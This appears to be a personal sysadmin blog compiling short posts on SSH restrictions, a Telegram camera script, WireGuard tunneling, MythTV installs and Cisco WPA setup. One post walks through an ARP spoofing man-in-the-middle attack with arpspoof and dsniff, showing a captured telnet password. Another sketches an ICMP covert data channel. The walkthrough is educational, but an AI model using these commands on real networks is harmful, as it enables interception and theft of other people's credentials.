SSH authorized_keys command=

On the host with files that need to be copied

 rsync -v --remove-source-files -r -e "ssh -vi .ssh/id_rsa" src_dir/ user@host:dest_dir/

SSH verbose out will contain something like 

debug1: Sending command: rsync --server -vre.iLsfxCIvu --remove-source-files . dest_dir/

Then constrain authorized_keys with command= and the restrict keyword which disables a variety of things like port forwarding, agents, X11 and PTY allocation.  See man authorized_keys.

command="rsync --server -vre.iLsfxCIvu --remove-source-files . dest_dir/",restrict ssh-rsa ...

Finally drop the -v from the initial rsync command.

Motion + Telegram

Quick and dirty Motion + Telegram setup.

Camera config

 on_movie_end /home/djhedges/send_telegram.py %f

BotFarther

Send /newbot to @BotFarther to generate bot API key.

Create chat group with new bot.

Send a getUpdates request by modifying the script below to find the chat id.

Telegram Script

#!/usr/bin/python3

import os

import requests

import subprocess

import sys

API_KEY = ''

CHAT_ID = ''

def GenerateThumbnail(filepath):

    output_path = filepath[:-3] + '.jpg'

    ff_mpeg_cmd = ['ffmpeg', '-i', filepath, '-ss', '00:00:00.000', '-vframes', '1', output_path]

    subprocess.call(ff_mpeg_cmd)

    return output_path

def PostRequest(method, data, files):

    url = f'https://api.telegram.org/bot{API_KEY}/{method}'

    return requests.post(url=url, data=data, files=files, timeout=1000)

def SendVideo(filepath):

    thumbnail_path = GenerateThumbnail(filepath)

    with open(thumbnail_path, 'rb') as thumbnail_file:

        with open(filepath, 'rb') as video_file:

            response = PostRequest(

                    'sendVideo', {

                        'text': 'test',

                        'chat_id': CHAT_ID},

                    {'thumb': (os.path.basename(thumbnail_path), thumbnail_file),

                     'video': (os.path.basename(filepath), video_file)})

def main():

    filepath = sys.argv[1]

    if filepath.endswith('mp4'):

        SendVideo(filepath)

if __name__ == '__main__':

    main()

PS4 Tunneling

While setting up a couple of PS4s at work on a guest wifi network we ran into issues getting them to play well with each online.  The play station would complain about the NAT type being 3 or restrictive.  We could join a lobby that another play had hosted but not one of our own.  If we were both in the same lobby we could not see each other's cars.

The first solution I came up with involved tunneling the traffic through a Raspberry PI and GCE instance using Wireguard, IPtables and Dnsmasq.
PS4 --> Switch --> Pi --> Wifi --> GCE --> Internet

For my personal record a few snippets of the configs.

root@wireguard:~# cat /etc/rc.local
#! /bin/sh -e
ip link add dev wg0 type wireguard
wg setconf wg0 /etc/wireguard/wg0.conf
ip link set up dev wg0
ip address add dev wg0 172.16.0.1/24
# Roue packets back
ip route add 192.168.3.0/24 dev wg0
exit 0 

root@wireguard:~# cat /etc/wireguard/wg0.conf
[Interface]
ListenPort = *****
PrivateKey = *****
[Peer]
PublicKey = *****
AllowedIPs = 0.0.0.0/0
Endpoint = ***** 

root@wireguard:~# cat /etc/iptables.up.rules
# Generated by iptables-save v1.6.0 on Wed Jul 31 01:22:23 2019
*filter
:INPUT ACCEPT [67:11564]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [45:5251]
-A FORWARD -i eth0 -p udp -m udp --dport 3478:3480 -j ACCEPT
-A FORWARD -i eth0 -p tcp -m tcp --dport 3478:3480 -j ACCEPT
-A FORWARD -i eth0 -p tcp -m tcp --dport 1935 -j ACCEPT
-A FORWARD -i eth0 -o wg0 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i wg0 -o eth0 -j ACCEPT
COMMIT
# Completed on Wed Jul 31 01:22:23 2019
# Generated by iptables-save v1.6.0 on Wed Jul 31 01:22:23 2019
*nat
:PREROUTING ACCEPT [2:160]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [4:240]
:POSTROUTING ACCEPT [0:0]
-A PREROUTING -i eth0 -p udp -m udp --dport 3478:3480 -j DNAT --to-destination 192.168.3.4
-A PREROUTING -i eth0 -p tcp -m tcp --dport 3478:3480 -j DNAT --to-destination 192.168.3.4
-A PREROUTING -i eth0 -p tcp -m tcp --dport 1935 -j DNAT --to-destination 192.168.3.4
-A POSTROUTING -o eth0 -j MASQUERADE
COMMIT
# Completed on Wed Jul 31 01:22:23 2019

And on the PI.  Note the MTU was dropped to 1432 in the DHCP config.

 pi@raspberrypi:~ $ cat /etc/rc.local
#!/bin/sh -e
_IP=$(hostname -I) || true
if [ "$_IP" ]; then
  printf "My IP address is %s\n" "$_IP"
fi
# Wireguard interface
ip link add dev wg0 type wireguard
wg setconf wg0 /etc/wireguard/wg0.conf
ip link set up dev wg0
ip address add dev wg0 172.16.0.3/24
# Default route magic
wg set wg0 fwmark 1234
ip route add default dev wg0 table 2468
ip rule add not fwmark 1234 table 2468
ip rule add table main suppress_prefixlength 0
exit 0

root@raspberrypi:~# cat /etc/wireguard/wg0.conf
[Interface]
ListenPort = ****
PrivateKey = *****
[Peer]
PublicKey = ****
AllowedIPs = 0.0.0.0/0
Endpoint = **** 

root@raspberrypi:~# grep -e '^#' -v /etc/dhcpcd.conf
....
interface eth0
static ip_address=192.168.3.3/24
root@raspberrypi:~# grep -e '^#' -e '^$' -v /etc/dnsmasq.conf | tr -s \n
interface=eth0
dhcp-range=192.168.3.50,192.168.3.150,12h
dhcp-host=,2c:cc:44:6a:ae:32,192.168.3.4,12h
dhcp-option-force=26,1432
dhcp-mac=set:client_is_a_pi,B8:27:EB:*:*:*
dhcp-reply-delay=tag:client_is_a_pi,2

The max MTU size was discovered by sending pings with increasing sizes until they no longer work.

# ping google.com -c 1 -s 1432

Useful tcpdump commands

  tcpdump -i eth0 -v port 53
  tcpdump -i wg0 host 192.168.3.129
  tcpdump host 192.168.3.129 port 53
  tcpdump -i eth0
  tcpdump -i eth0 port 53
  tcpdump -i eth0 port 53 -v
  tcpdump -i eth0 portrange 3478-3480 or port 1935 -n
  tcpdump -i eth0,wg0 portrange 3478-3480 or port 1935 -n
  tcpdump -i eth0 -i wg0 portrange 3478-3480 or port 1935 -n

We noticed once the playstations were connected that most of the link light traffic on the switch was for the PS4s and not the PI.  The latest theory is that maybe uPNP is being used to discovery each other and connect locally instead through the internet.  Had this not been the case I was playing on adding a NAT rule on the PI for the PS4 hosting the lobby.  Since the traffic is local maybe we can get away without the tunnel and have the PI NAT the guest WIFI.  I cringed as I typed that.

USB Ubuntu Install

Installing Ubuntu to a USB drive without a separate drive or CD.

sudo qemu-system-x86_64 -boot d -cdrom ubuntu-16.04.1-desktop-amd64.iso -m 4096 -usb -usbdevice disk:/dev/sdb

Quick & Dirty PXE Boot

sudo apt-get install tftpd-hpa
$ cat /etc/default/tftpd-hpa
# /etc/default/tftpd-hpa

TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/var/lib/tftpboot"
TFTP_ADDRESS="[::]:69"
TFTP_OPTIONS="--secure"

sudo -i
cd /var/lib/tftpboot
wget http://archive.ubuntu.com/ubuntu/dists/trusty-updates/main/installer-amd64/current/images/netboot/netboot.tar.gz
tar xvzf netboot.tar.gz

Notes on HP 1020 printer setup with Google Cloud print.

Notes on HP 1020 printer setup with Google Cloud print. This is a very scattered post and long TODO item.

Installed the printer with this guide.
http://tkjacobsen.wordpress.com/2008/12/15/hp-laserjet-1020-on-fedora-10/

https://support.google.com/a/answer/2906017?hl=en
python generate_cloudprint_config.py

Confused a bit about the instructions so I added a symlink called "Service State" that points to the config.
ls /etc/google-cloud-print/ -l
total 4
-rw-r--r-- 1 root root 736 Jan 25 19:22 dj-server.conf
lrwxrwxrwx 1 root root  14 Jan 25 19:24 Service State -> dj-server.conf

I've been abusing /etc/rc.d/rc.local for a lot of my startup scripts.  This server setup has been a more get it working kind of approach.  Note the --user-data-dir flag reference the directory I created with the config not the exact config file.

vi /etc/rc.d/rc.local
su - djhedges -c '/usr/bin/screen -dmt cloud-print -S cloud-print /opt/google/chrome/chrome --type=service --enable-cloud-print-proxy --no-service-autorun --noerrdialogs --user-data-dir=/etc/google-cloud-print/  --enable-logging=stderr --v=1 --enable-logging --v=1'

From there I can share the printer from some sort of printer setting I found linked with my Google account.

Cisco WPA

My wireless on my router quit working for a while.  I think it was power cycled and something from the config wasn't written to flash.  I spent hours trying to reconfigure it, how hard could setting up WPA be?  The examples I found online showed the following and even my old configs had something similar.

interface Dot11Radio0
 no ip address
 !
 encryption vlan 2 mode ciphers tkip
 !
 ssid dj-ap
    vlan 2
    max-associations 1
    authentication open mac-address 00:00:00:00:00:00
    authentication key-management wpa
    guest-mode
    wpa-psk ascii 7 password_hash

This for some reason was the missing piece.  If I recall correctly as soon as I added the world-mode line everything started working.  It goes under the Dot11 interface but I always overlooked it because of indentation from the ssid bit above.

 world-mode dot11d country US both
 speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0
 station-role root

Separate network SSID instead of bridging it with the ethernet ports like I used to.   I plan to add a guest SSID and prevent their traffic from talking to my network.

interface Dot11Radio0.2
 encapsulation dot1Q 2
 ip address 172.16.2.1 255.255.255.0
 ip nat inside
 ip virtual-reassembly

Hiding Data in Ping Packets

Fun little idea I started playing around with. I wanted to send data using ping packets ICMP packets are seemed as harmless and it would be hard to distinguish legitimate pings and pings containing encrypted data.

• Populate a Protocol Buffer
• Serialize the Protocol Buffer to a String
• Pad the data if necessary and encrypt with Blowfish
• Create a ICMP packet with a random salt + the encrypted data.
• Sniff for ICMP packets and reverse all the above steps.

Inspired a bit by Loki.

http://www.phrack.org/issues.html?id=6&issue=49

Some of things I learned and want to do if I find the time.

• I learned that block ciphers need to pad data.
• Ping replies contain the same data as the request. It makes sense now but I was initially planning to change the data in the reply.
• I'm concerned I'm still not doing things properly. Example theres nothing to stop anybody from replaying a packet. Maybe I could add a timestamp to the protocol buffer and ignore packets that are a minute old or something. I'd liked to figure out how fwknop works.

Source

https://github.com/djhedges/scripts/blob/master/via/via.py

Cracking WPA keys with GPUs

I first read the article and I thought wow thats a lot faster. Then I started doing some math and realized it's still not practical.

http://arstechnica.com/security/news/2008/10/company-puts-nvida-gpus-to-work-cracking-wireless-security.ars

They benchmarked a 8800GTX at 2,500 guesses per second. It's distributed software up to 256 GPUS.
2,500 x 256 = 640,000 a second

How many possibilities can a WPA pass phrase be? (I think my math is right)
Upper & Lower case possible characters. 26*2 = 52
Possible special characters like $@!%, at least what I counted on my laptop. 32
52+32 = 84
63 possible characters in a WPA psk.
A!/(A-N)! = 84!/(84-63)! = 6.486942682e+106
I took that really big number and divided it by (640,000 * 60 * 60 * 24 * 365)
3214056297949842159116168158203114584942029386406415805023892166920391523704839025459200000000 years to find all the possibilities
http://wiki.answers.com/Q/What_is_the_equation_to_determine_number_of_possible_lock_combinations

I did the same math and found how long it would take to generate all the possible combinations. It's amazing how much stronger a pass phrase becomes by adding another character.
1-5 characters would take 96 minutes
1-6 characters would take 5.2 days
1-7 characters would take 412 days
1-8 character would take 87 years

Site I've always used to generate keys.
http://www.kurtm.net/wpa-pskgen/

All in all I guess as long as you have a decent password your ok.

Ubuntu Install CD Buffer I/O Errors on Device sr0

sr0 is actually the cd-rom device and it turns out the disc was bad. I didn't check the md5 when I burned it and was just tossing it around my desk so I might have scratched it.

PC hanging @ Verifying DMI Pool Data

Changing the boot from hard drive to cd-rom fixed it. I think it was because I stopped a Ubuntu install while I was setting up an encrypted partition.

Sata II Drive in a Sata I Motherboard

I was planning to setup a encrypted partition with these 2 drives I just bought and I got the idea of writing random data to the drive before actually using them. I used dban to wipe them in my Desktop which supports Sata II. When I placed the drives into my Server the drives weren't showing up.

Scan devices. please wait.........
The BIOS does not been installed.Press to continue

Turns out Hitachi drives will detect if the motherboard supports Sata II or not. They configured themselves for Sata II which is why my Server couldn't see them. This feature tool from Hitachi allowed me to reconfigure them but I had to connect them to my Desktop again.

Blank SSH Key Pass Phrases

A lot of people setup blank pass phrases so they can ssh into machines without typing the password. This is a much better way.

http://en.wikipedia.org/wiki/Ssh-agent

Dsniff ARP MITM Attack

I'm going to walk through the steps involved with this attack. I'm doing this from a Ubuntu 8.04 CD so I don't skip anything.

First we need modify the repositories. I'm using sudo -i which switches me to root so I don't have type sudo before every command.

ubuntu@ubuntu:~$ sudo -i
root@ubuntu:~# vi /etc/apt/sources.list

I uncommented the following lines at the end of the file.

deb http://archive.ubuntu.com/ubuntu hardy universe
deb-src http://archive.ubuntu.com/ubuntu hardy universe
deb http://archive.ubuntu.com/ubuntu hardy-updates universe
deb-src http://archive.ubuntu.com/ubuntu hardy-updates universe
deb http://archive.ubuntu.com/ubuntu hardy-security universe
deb-src http://archive.ubuntu.com/ubuntu hardy-security universe

Then install dsniff

root@ubuntu:~# apt-get -y install dsniff

Enabling IP forwarding will allow us to forward the traffic to the actually router otherwise we would effectively kill our target's internet connection. We don't want to do that we want to forward the traffic and sniff it looking for usernames & passwords.

root@ubuntu:~# cat /proc/sys/net/ipv4/ip_forward
0
root@ubuntu:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@ubuntu:~# !cat
cat /proc/sys/net/ipv4/ip_forward
1

Now to poison everyone on our network. If your machine can't handle the traffic on this network segment then you could possible slow it down or kill everyones internet. Arpsoof is part of the dsniff package.

root@ubuntu:~# arpspoof -i eth0 172.16.0.1

We could do a single target which would be a bit more subtle with the following

root@ubuntu:~# arpspoof -i eth0 -t 172.16.0.10 172.16.0.1

You should see packets similar to the following.

0:c:29:e5:f3:80 ff:ff:ff:ff:ff:ff 0806 42: arp reply 172.16.0.1 is-at 0:c:29:e5:f3:80
0:c:29:e5:f3:80 ff:ff:ff:ff:ff:ff 0806 42: arp reply 172.16.0.1 is-at 0:c:29:e5:f3:80

If I look on my XP box at my arp cache.

C:\Documents and Settings\Administrator>arp -a

Interface: 172.16.0.10 --- 0x2
Internet Address Physical Address Type
172.16.0.1 00-0c-29-e5-f3-80 dynamic
172.16.0.106 00-0c-29-e5-f3-80 dynamic

Notice the router (172.16.0.1) has the Ubuntu's MAC address.
Now we need something to sniff it. This is where dsniff comes in.

root@ubuntu:~# dsniff -cmni eth0
dsniff: listening on eth0
-----------------
10/04/08 16:06:37 tcp 172.16.0.10.1805 -> 172.16.0.1.23 (telnet)
dj
test
ls
echo w00t
exit

The first line is the usrname (dj) and then the password (test). The rest are the command I was typing. One more reason you shouldn't use telnet because it's a clear text protocol, nothing is encrypted.

Pess ctrl+c to kill arpspoof & dsniff. You'll notice arpspoof will actually fix the target's ARP table so we don't break their internet.

ARP Spoofing/Posining MITM

This is going to be quick overview about this man in the middle attack and then I'll write a couple of tutorials that explain how to perform it. I'll also include a tutorial that shows how you can safely surf the web on public wifi spots without worrying about someone else stealing your password.

ARP (Adresss Resolution Protocol)
Computers have 2 addresses. A layer two MAC address and a layer three IP address. When a computer wants to send packets it's needs to know the MAC address of the destination. This is where ARP comes in.

If the computer doesn't know the MAC address it will send a broadcast packet out asking who has this IP address? The node that has it will respond with a unicast packet saying that it's IP address is tied to this MAC address. Below is a screenshot of wireshark capturing some ARP packets.

Once a computer recieves a ARP packet it caches it in it's ARP table. The table is a simple mapping between IP & MAC addresses. This is also sometimes referred to as the ARP cache.

dj@dj-server:~$ arp -a
? (172.16.0.1) at 00:14:F1:61:01:C0 [ether] on eth0
? (172.16.0.10) at 00:1A:92:5B:91:9D [ether] on eth0

ARP Attack
What if a computer spoofs an ARP packet with their MAC address and uses a different IP address? One of the problems with ARP is there is no authentication. If a computer receives a new ARP packet it simply updates it's ARP table.

I'll give you an example. Lets say 2 laptops are on a public wifi spot surfing the web. One is running XP and the other some flavor of Linux. Each of these laptops would probably know the default gateway's IP & MAC address. If the Linux laptop started telling the XP Laptop that the default gateway's MAC address was it's own then the XP laptop would start forwarding it's traffic for the internet to the Linux laptop.

Now the Linux laptop is the "Man in the Middle" and he can see the XP laptop's traffic. I'll get into more details when I write the tutorials that explain how to perform this attack.

Ubuntu Mythtv

For some reason the frontend wouldn't connect to the backend after a reboot. I just upgraded mythtv 0.20.2 and found the backend was running w/
pgrep -l myth
Solution was to make sure the user mythtv had owned the recording directory
chown -R mythtv.mythtv /tv

Centos 5 Mythtv 0.20 Themes

MythTV is "themeable", meaning that the visual appearance of the program can be modified by the user without re-compiling or altering the program functionality. Download the MythThemes tarball from the website and untar it:

$ tar -xjf myththemes-0.20.tar.bz2
$ cd ~/myththemes-0.20
$ qmake myththemes.pro
$ su -
# make install
# exit
$

The theme will now be available in the mythfrontend Appearance section.

http://www.mythtv.org/docs/mythtv-HOWTO-11.html#ss11.2

Mythtv Plugins on Centos 5

tar xvjf mythplugins-0.20a.tar.bz2
cd mythplugins-0.20a
./configure --enable-all

http://www.mythtv.org/docs/mythtv-HOWTO-17.html

Download FLAC from http://flac.sourceforge.net and install:

$ tar -xzf flac-1.1.2.tar.gz
$ cd flac-1.1.2
$ ./configure
$ make
$ su
# make install
# exit
$

yum -y install cdparanoia

http://www.underbit.com/products/mad

I had to install all 3 by hand, it wasn't finding the libmad or id3tag even though there was an rpm already installed

I also had to do FLAC & CD Paranoia by hand. I'm probably just missing a variable which is why it won't find these packages. For CD Paranoia I had to use release 10. 9 kept giving me a make error for some reason.

cd /tmp/mythplugins-0.20a
./configure --enable-all
qmake mythplugins
make -j 2
make install

This didn't install mythmusic, flac was giving me an error.
I make uninstalled flac and reinstalled it with yum.
then the following worked

http://www.mythtv.org/docs/mythtv-HOWTO-17.html

$ cd ~/mythplugins-0.20
$ ./configure --disable-all --enable-mythmusic --enable-fftw --enable-sdl --enable-aac
$ qmake mythplugins.pro
$ make
$ su
# make install
# exit

Complete ting the mythweb installation

http://www.mythtv.org/docs/mythtv-HOWTO-14.html

Centos 5 Mythtv 0.20

http://www.mythtv.org/modules.php?name=MythInstall
http://www.mythtv.org/modules.php?name=Downloads

echo /usr/local/lib >> /etc/ld.so.conf
ldconfig

cd /tmp
tar xvjf myhtv-0.20.tar.bz2
cd mythtv-0.20
./configure
make -j 2
make install

cd database
mysql -u root -p < face="arial">mkdir /tv
chown dj.home /tv

rpm -Uvh ftp://ftp.pbone.net/mirror/ftp.centos.org/5.0/updates/i386/RPMS/qt-MySQL-3.3.6-21.el5.i386.rpm

mythtv-setup
mythfilldatabase
mythbackend
mythfrontend

SSH Public Key Authentication

#On the computer that is making the inital connection (Call this Computer A)
ssh-keygen -t rsa
ssh user@computer_b "cat >> .ssh/authorized_keys" < .ssh/id_rsa.pub

#On Computer B (authorized_keys needs to have 600 permissions or it won't work)
chmod 600 .ssh/authorized_keys